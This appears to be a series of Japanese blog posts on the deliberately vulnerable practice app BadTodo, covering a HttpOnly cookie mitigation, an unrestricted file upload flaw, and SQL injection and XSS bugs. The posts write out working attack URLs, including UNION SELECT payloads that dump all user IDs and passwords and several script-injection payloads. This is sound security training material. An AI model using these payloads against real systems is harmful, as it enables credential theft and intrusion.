demandosigno

なんとか生きていけるように

BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)

前回:やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

前回XSSでCookieを盗みました。
Cookieの属性の1つにHttpOnlyというものがあります。XSSの緩和策として導入されました。この属性はJavaScriptからCookieの参照・更新を禁止するというものです。

PHPの場合、セッションIDにHttpOnly属性を付与するためには以下の設定を行います。
(現状はHttpOnly属性の部分にチェックマークが付いていない状態です)

/var/www/html/todo/.user.ini に1行追記

session.use_cookies=On
session.use_only_cookies=Off
session.use_trans_sid=On
session.cookie_httponly=On ← 追記

phpinfo.phpの確認(反映されるまでに少し時間がかかります)
     ↓

common.php の setcookie関数部分を修正します。

<?php
 98 function badsetcookie($key, $value, $expire = 0, $secure = false) {
 99   if (is_https() && $secure) {
100     //setcookie($key, $value, $expire, '/; samesite=none', null, true);
         ↓
        setcookie($key, $value, $expire, '/; samesite=none', '', true, true);
101   } else {
102     setcookie($key, $value, $expire, '/');
103   }
104 }

PHP: setcookie - Manual

これでHttpOnly属性が有効になります。

確認

BadTodo - 4.3 XSS(ID毎のTodo一覧画面)にて見つかったtodolist.phpidパラメータに対するXSSを試します。
https://todo.example.jp/todolist.php?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

結果、ポップアップの「内容」は空白でCookieを読み取ることができていません。

ログイン時のSet-Cookie部分。

CookieのHttpOnly属性によって「Cookieを盗み出す」という攻撃はできなくなりますが、他の攻撃(DoM操作、XMLHttpRequest)はできるためXSSによる影響を大幅に軽減することはできません。

youtu.be

次回:やられアプリ BadTodo - 4.2 XSS(ログイン画面で) - demandosigno

やられアプリ BadTodo - 23 適切でないアップロートファイル制限 CWE-434

前回:やられアプリ BadTodo - 22 安全でないデシリアライゼーション - demandosigno

CWE - CWE-434: Unrestricted Upload of File with Dangerous Type (4.12)

Todoリストにはファイルをアップロードする機能があります。

これを使いPHPファイルなどをアップロードしようとすると「この拡張子のファイルはアップロードできません」と出ます。

ぱっと見アップロードできていないように見えますが、

BadTodo - 19 ディレクトリ・リスティングで確認できたアップロード先/attachmentを見てみるとアップロードされており閲覧できてしまいます。

このままだとウイルスファイルやWebShellなどの悪意のあるファイルをアップロードされる可能性があります。

また拡張子のチェックにも不備がありファイル名を「xxx.php.jpg」などとしてアップロードするとエラー無くアップロードできてしまいます。

補足:確認の際にNginxのキャッシュによりディレクトリ表示が更新されない場合がありますので、その場合は下記を参考にキャッシュクリアしてください。
BadTodo - Nginxのキャッシュの削除

blog.flatt.tech

やられアプリ BadTodo - 3.7 SQLインジェクション idパラメータに対して

前回:やられアプリ BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得 - demandosigno

これまで、主にTodoリスト一覧画面のkeyパラメータに対してSQLインジェクションを試して来ました。
/todolist.php?rnd=64fe3eba0ee01&key=%27+UNION+SELECT+NULL%2C+NULL%2C+id%2C+userid%2C+pwd%2C+email%2C+icon%2C+super%2C+NULL%2C+NULL+FROM+todo.users+%23

もう一つ、「ユーザID」をクリックした際に呼び出されるリクエストのidパラメータにもSQLインジェクションがあります。

これは4.3 XSS ID毎のTodo一覧画面にてidパラメータのXSSを試した際にSQLのエラーが発生したことから推測できます。

またZAPでも検出されています。

今回もまずシングルクォーテーションを1つid='と3つid='''入力してそれぞれエラーを出してみます。(2つでは文字列リテラルが閉じられ正しいSQL文となるのでエラーは出ません)

これによりエラー位置とSQL文が分かります。

SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public
  FROM todos INNER JOIN users
    ON users.id=todos.owner
    AND (todos.owner=''' OR ?)
    AND (todos.owner = ?
    OR todos.public > 0
    OR ? > 0)

あとはkeyパラメータの際と同じようにSQL文を微調整してidパラメータとしてアドレスバーに入力します。

https://todo.example.jp/todolist.php?id=0) UNION SELECT NULL, NULL, id, userid, pwd, email, icon, super, NULL, NULL FROM todo.users%23(%23は#をエンコードしたものでそれ以降のクエリをコメントアウトするために必要)
アドレスバーに貼り付けてEnterキーを押せば概ねブラウザが%エンコードをかけてくれます↓
https://todo.example.jp/todolist.php?id=0)%20UNION%20SELECT%20NULL,%20NULL,%20id,%20userid,%20pwd,%20email,%20icon,%20super,%20NULL,%20NULL%20FROM%20todo.users%23

結果、Todoリスト登録者全員のIDとパスワードが表示されます。

やられアプリ BadTodo - 4.6 XSS パスワード変更ページ

前回:やられアプリ BadTodo - 4.5 XSS マイページ - demandosigno

パスワード変更ページ/changepwd.phpidパラメータにXSSがあります。

https://todo.example.jp/changepwd.php?id=%27%3E%3Cscript%3Ealert(1)%3C/script%3EにアクセスさせることでXSSが発動します。

<div id="changepwd">
  パスワード変更()<BR>
  <form action='changepwddo.php' method='post'>
    <input type='hidden' name='id' value=''><script>alert(1)</script>'>

ただし、このXSSは「管理者権限」を持つユーザでないと実行されません。

ZAPでの検出例。

次回:やられアプリ BadTodo - 4.3 XSS(根本的解決) - demandosigno

やられアプリ BadTodo - 4.5 XSS マイページ

前回:やられアプリ BadTodo - 4.4 XSS(Todoの削除) - demandosigno

プロフィール画面(マイページ)を開いた際に/profile.phpに続いて流れるリクエスト
https://todo.example.jp/resize.php?path=icons&basename=ockeghem.png&size=64pathbasenameパラメータにXSSがあります。

(これはアイコンの画像ですので、BurpSuiteでは [Filter: Hiding out of scope...] の辺りをクリックすると開く[Filter Settings] の [Images] にチェックを入れておかないと出ません。)

https://todo.example.jp/resize.php?path=%3Cscript%3Ealert(1)%3C/script%3E&basename=ockeghem.png&size=64またはhttps://todo.example.jp/resize.php?path=icons&basename=%3Cscript%3Ealert(1)%3C/script%3E&size=64にアクセスさせることでXSSが発動します。

ZAPでの検出例。

次回:やられアプリ BadTodo - 4.6 XSS パスワード変更ページ - demandosigno

/* -----codeの行番号----- */